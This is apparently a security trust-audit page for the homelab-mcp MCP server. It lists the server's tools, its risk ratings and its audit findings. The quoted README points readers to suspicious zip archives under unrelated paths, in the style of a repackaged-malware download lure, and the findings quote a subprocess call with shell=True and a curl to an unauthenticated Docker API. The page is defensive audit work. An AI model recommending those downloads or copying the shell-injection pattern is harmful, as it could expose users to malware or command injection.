homelab-mcpBLOCK
🔧 Manage and monitor your homelab infrastructure efficiently with Model Context Protocol (MCP) servers through Claude Desktop.
Overview
From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.
[](https://github.com/myraffy/homelab-mcp/raw/refs/heads/main/paroxysmally/homelab-mcp-v3.5.zip)
📖 Description
The Model Context Protocol (MCP) servers help you manage your homelab infrastructure with ease. This application allows you to monitor Docker/Podman containers, Ollama AI models, Pi-hole DNS, Unifi networks, and Ansible inventory seamlessly. It includes security checks, templates, and automated pre-push validation to keep your setup secure and efficient. With our production-ready software, you can enhance your homelab experience without hassle.
🚀 Getting Started
To begin using the homelab-mcp application, follow these steps:
- Check System Requirements:
- Operating System: Windows 10, macOS 10.15 or later, Linux (Ubuntu/CentOS)
- Minimum RAM: 4 GB
- Processor: Dual-core 1.5 GHz or faster
- Storage: At least 200 MB of free space
- Download the Application:
To get the latest version of homelab-mcp, visit this page to download. Choose the appropriate version for your operating system from the available assets.
💻 Download & Install
- Visit the Releases Page:
Go to the releases section by clicking here.
- Select Your Version:
On the releases page, you will find a list of versions. Look for the most recent version. Click on the version you want to download.
- Download the File:
Choose the correct file for your system. For example, if you are on Windows, download the .exe file; if you are on macOS, download the .dmg file. Click on the file name to begin the download.
- Run the Installer:
Once the download completes, locate the file in your do
6a005b878031OBSERVED · 2026-10-11Exposed tools (60)
57 read · 1 write · 2 destructive. Blast radius: 2 tools can delete or overwrite — an agent that can be talked into calling a tool can be talked into calling this one.
| Tool | Risk | Description |
|---|---|---|
check_container | read | Check if a specific container is running on a host |
docker_check_container | read | Check if a specific container is running on a host |
docker_find_containers_by_label | read | Find containers by label key-value pair (e.g., find traefik-enabled containers or containers with specific domains) |
docker_get_all_containers | read | Get all containers across all hosts |
docker_get_container_labels | read | Get all labels for a specific container |
docker_get_container_stats | read | Get CPU and memory stats for containers on a host |
docker_get_containers | read | Get containers on a specific host (works with both Docker and Podman) |
find_containers_by_label | read | Find containers by label key-value pair (e.g., find traefik-enabled containers or containers with specific domains) |
get_all_containers | read | Get all containers across all hosts |
get_all_groups | read | Get a list of all groups defined in the Ansible inventory |
get_all_hosts | read | Get a list of all hosts in the Ansible inventory with their basic information |
get_battery_runtime | read | Get battery runtime estimates for all UPS devices |
get_claude_config | read | Get the Claude Desktop MCP server configuration. Shows all registered MCP servers. |
get_container_labels | read | Get all labels for a specific container |
get_container_stats | read | Get CPU and memory stats for containers on a host |
get_docker_containers | read | Get containers on a specific host (works with both Docker and Podman) |
get_group_details | read | Get detailed information about a specific group including all hosts and variables |
get_host_details | read | Get detailed information about a specific host including all variables and group memberships |
get_hosts_by_group | read | Get all hosts that belong to a specific group |
get_inventory_summary | read | Get a high-level summary of the inventory including counts and structure |
get_litellm_status | read | Check LiteLLM proxy status |
get_network_clients | read | Get all active network clients and their connections. This is cached for better performance. |
get_network_devices | read | Get all Unifi network devices (switches, APs, gateways) with status and basic info. This is cached for better performance. |
get_network_summary | read | Get network overview: VLANs, device count, client count. Fast summary view. |
get_ollama_models | read | Get models on a specific Ollama host |
get_ollama_status | read | Check status of all Ollama instances |
get_pihole_stats | read | Get DNS statistics from all Pi-hole instances |
get_pihole_status | read | Check which Pi-hole instances are online |
get_power_events | read | Check for recent power events (status changes from online to battery) |
get_ups_details | read | Get detailed information for a specific UPS device |
get_ups_status | read | Get status of all UPS devices across all NUT servers |
list_groups | read | List all available Ansible groups for pinging |
list_hosts | read | List all hosts in the Ansible inventory with their resolved IPs |
list_mcp_directory | read | List all files and directories in the MCP development directory. |
list_mcp_servers | read | List all MCP servers registered in Claude Desktop config with their details. |
list_ups_devices | read | List all UPS devices configured in the inventory |
ollama_get_litellm_status | read | Check LiteLLM proxy status |
ollama_get_models | read | Get models on a specific Ollama host |
ollama_get_status | read | Check status of all Ollama instances |
pihole_get_stats | read | Get DNS statistics from all Pi-hole instances |
pihole_get_status | read | Check which Pi-hole instances are online |
ping_all | read | Ping all hosts in the infrastructure |
ping_group | read | Ping all hosts in an Ansible group |
ping_host | read | Ping a specific host by hostname from Ansible inventory |
ping_list_groups | read | List all available Ansible groups for pinging |
ping_list_hosts | read | List all hosts in the Ansible inventory with their resolved IPs |
ping_ping_all | read | Ping all hosts in the infrastructure |
ping_ping_group | read | Ping all hosts in an Ansible group |
ping_ping_host | read | Ping a specific host by hostname from Ansible inventory |
ping_reload_inventory | read | Reload Ansible inventory from disk (useful after inventory changes) |
read_mcp_file | read | Read the contents of a specific MCP file. Provide either absolute path or relative to MCP directory. |
refresh_network_data | destructive | Force refresh network data from Unifi controller (bypasses cache). |
reload_inventory | read | Reload the inventory file from disk (useful if it has been updated) |
search_hosts | read | Search for hosts by name pattern or by variable values |
search_mcp_files | read | Search for files in MCP directory by name. Optionally filter by extensions. |
unifi_get_network_clients | read | Get all active network clients and their connections. This is cached for better performance. |
unifi_get_network_devices | read | Get all Unifi network devices (switches, APs, gateways) with status and basic info. This is cached for better performance. |
unifi_get_network_summary | read | Get network overview: VLANs, device count, client count. Fast summary view. |
unifi_refresh_network_data | destructive | Force refresh network data from Unifi controller (bypasses cache). |
write_mcp_file | write | Write content to an MCP file. Creates parent directories if needed. Path can be absolute or relative to MCP directory. |
Trust audit
BLOCKgrade D · trust 69/100 Do not install this without reading the findings. The audit found something that could harm you or your machine.
| Layer | What it checks | Result |
|---|---|---|
| L0 | Provenance & inventory | WARN |
| L1 | Static analysis of the code | FAIL |
| L2 | Instruction surface (what it tells the agent) | PASS |
| L3 | Class-specific surface | WARN |
| L4 | Behavioural (sandbox) | SKIPPED |
What the source does
- Filesystem
- declared (3 observation(s))
- Network
- declared (5 observation(s))
- Shell
- UNDECLARED (1 observation(s))
- Dependencies
- not all pinned
- Secrets in source
- none-found
Findings (12)
result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
homelab-mcp-v3.5.zip
logger.info(f"Loaded from env: {display_name} -> {host}:{port} (api_key: {'***' if api_key else 'NOT SET'})")refresh_network_data, unifi_refresh_network_data
.env.docker.example
docker exec homelab-mcp-docker curl http://192.168.1.100:2375/containers/json
flake8, pylint, black, isort, mypy, bandit, safety, pip-audit
npm
mcp, ansible, aiohttp, requests, urllib3, PyYAML, orjson, python-dotenv
literalness/homelab-mcp.zip
paroxysmally/homelab-mcp.zip
shell use found in code, not declared in the description
Gates applied: no_behavioural_pass.
6a005b878031full audit observations/trust-audit/mcp-server/myraffy__homelab-mcp.json · Report an issue / request a re-scanAudit history
Every audit this server has had. A grade with a past is a grade somebody is still checking.
| Date | Source | Verdict | Grade | Score | Change |
|---|---|---|---|---|---|
| 2026-10-11 | 6a005b878031 | BLOCK | D | 69 | first audit |
Questions
What is the homelab-mcp MCP server?
🔧 Manage and monitor your homelab infrastructure efficiently with Model Context Protocol (MCP) servers through Claude Desktop.
What tools does homelab-mcp expose?
60 in total: 57 read-only, 1 that write, and 2 that can delete or overwrite (refresh_network_data, unifi_refresh_network_data). Every one is listed on this page with its risk.
Is homelab-mcp safe to connect to an agent?
No — not without reading the findings first. The audit graded it D (69/100) and found 1 critical or high issue in the source. Each one is listed on this page with the file and line it is on. Separately from the audit: 2 of its tools can destroy data, so scope the token you give it to what you actually need.
What credentials does homelab-mcp need?
It reads NUT_PASSWORD and UNIFI_API_KEY from the environment. Give it a token scoped to the least it needs — an agent that can be talked into calling a tool can be talked into calling it with your credentials.
How does homelab-mcp run?
It speaks stdio, so it runs as a local process your client starts.
How current is this page?
The grade is for one exact copy of the source (6a005b878031), read on 2026-10-11. The repository is watched and re-audited when it changes.